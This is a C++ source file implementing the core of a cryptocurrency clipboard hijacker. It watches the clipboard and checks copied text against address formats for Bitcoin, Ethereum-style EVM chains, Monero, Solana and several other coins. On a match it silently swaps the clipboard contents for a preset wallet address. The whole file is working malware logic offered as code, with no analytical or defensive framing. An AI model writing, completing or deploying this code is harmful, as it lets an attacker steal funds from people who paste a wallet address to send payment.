#include "ClipperImpl.hpp"
#include "Clipboard.hpp"
#include "CryptocurrencyValidator.hpp"
#include <optional>

Clipper::Clipper()
{
    wchar_t s[] = { static_cast<wchar_t>(__TIME__[6]), L'X', static_cast<wchar_t>(__TIME__[7]), L'\0' };
    Clipboard::Initialize(s);
}

Clipper& Clipper::GetInstance()
{
    static Clipper instance;
    return instance;
}

std::optional<Cryptocurrency> Clipper::IsCryptocurrencyAddress(const std::wstring& text)
{
    if (CryptocurrencyValidator::Validate(Cryptocurrency::EVM, text))
        return Cryptocurrency::EVM;

    if (CryptocurrencyValidator::Validate(Cryptocurrency::Bitcoin, text))
        return Cryptocurrency::Bitcoin;

    if (CryptocurrencyValidator::Validate(Cryptocurrency::Litecoin, text))
        return Cryptocurrency::Litecoin;

    if (CryptocurrencyValidator::Validate(Cryptocurrency::Tron, text))
        return Cryptocurrency::Tron;

    if (CryptocurrencyValidator::Validate(Cryptocurrency::Ripple, text))
        return Cryptocurrency::Ripple;

    if (CryptocurrencyValidator::Validate(Cryptocurrency::Dogecoin, text))
        return Cryptocurrency::Dogecoin;

    if (CryptocurrencyValidator::Validate(Cryptocurrency::Monero, text))
        return Cryptocurrency::Monero;

    if (CryptocurrencyValidator::Validate(Cryptocurrency::Solana, text))
        return Cryptocurrency::Solana;

    return std::nullopt;
}

bool Clipper::SetWalletAddress(Cryptocurrency cryptocurrency, const wchar_t* address) noexcept
{
    if (static_cast<size_t>(cryptocurrency) >= Cryptocurrency::ElementsCount || !address)
        return false;

    std::wstring walletAdress = address;
    return GetInstance().mAddressManager.ValidateAndSet(cryptocurrency, walletAdress);
}

bool Clipper::SetCallback(ClipperActivationCallback callback) noexcept
{
    if (!callback)
        return false;

    if (!GetInstance().mCallbackManager.SetCallback(callback))
        return false;

    OnClipboardContentChangedCallback callbackWithValidation = [&](const std::wstring& content) -> void {
        auto cryptocurrency = IsCryptocurrencyAddress(content);
        if (!cryptocurrency)
            return;

        std::wstring address = GetInstance().mAddressManager.GetAddress(cryptocurrency.value());

        // prevent recursion
        if (address == content)
            return;

        Clipboard::SetClipboardText(address);
        GetInstance().mCallbackManager.InvokeCallback(cryptocurrency.value(), content.c_str(), address.c_str());
    };

    Clipboard::SetCallback(callbackWithValidation);
    return true;
}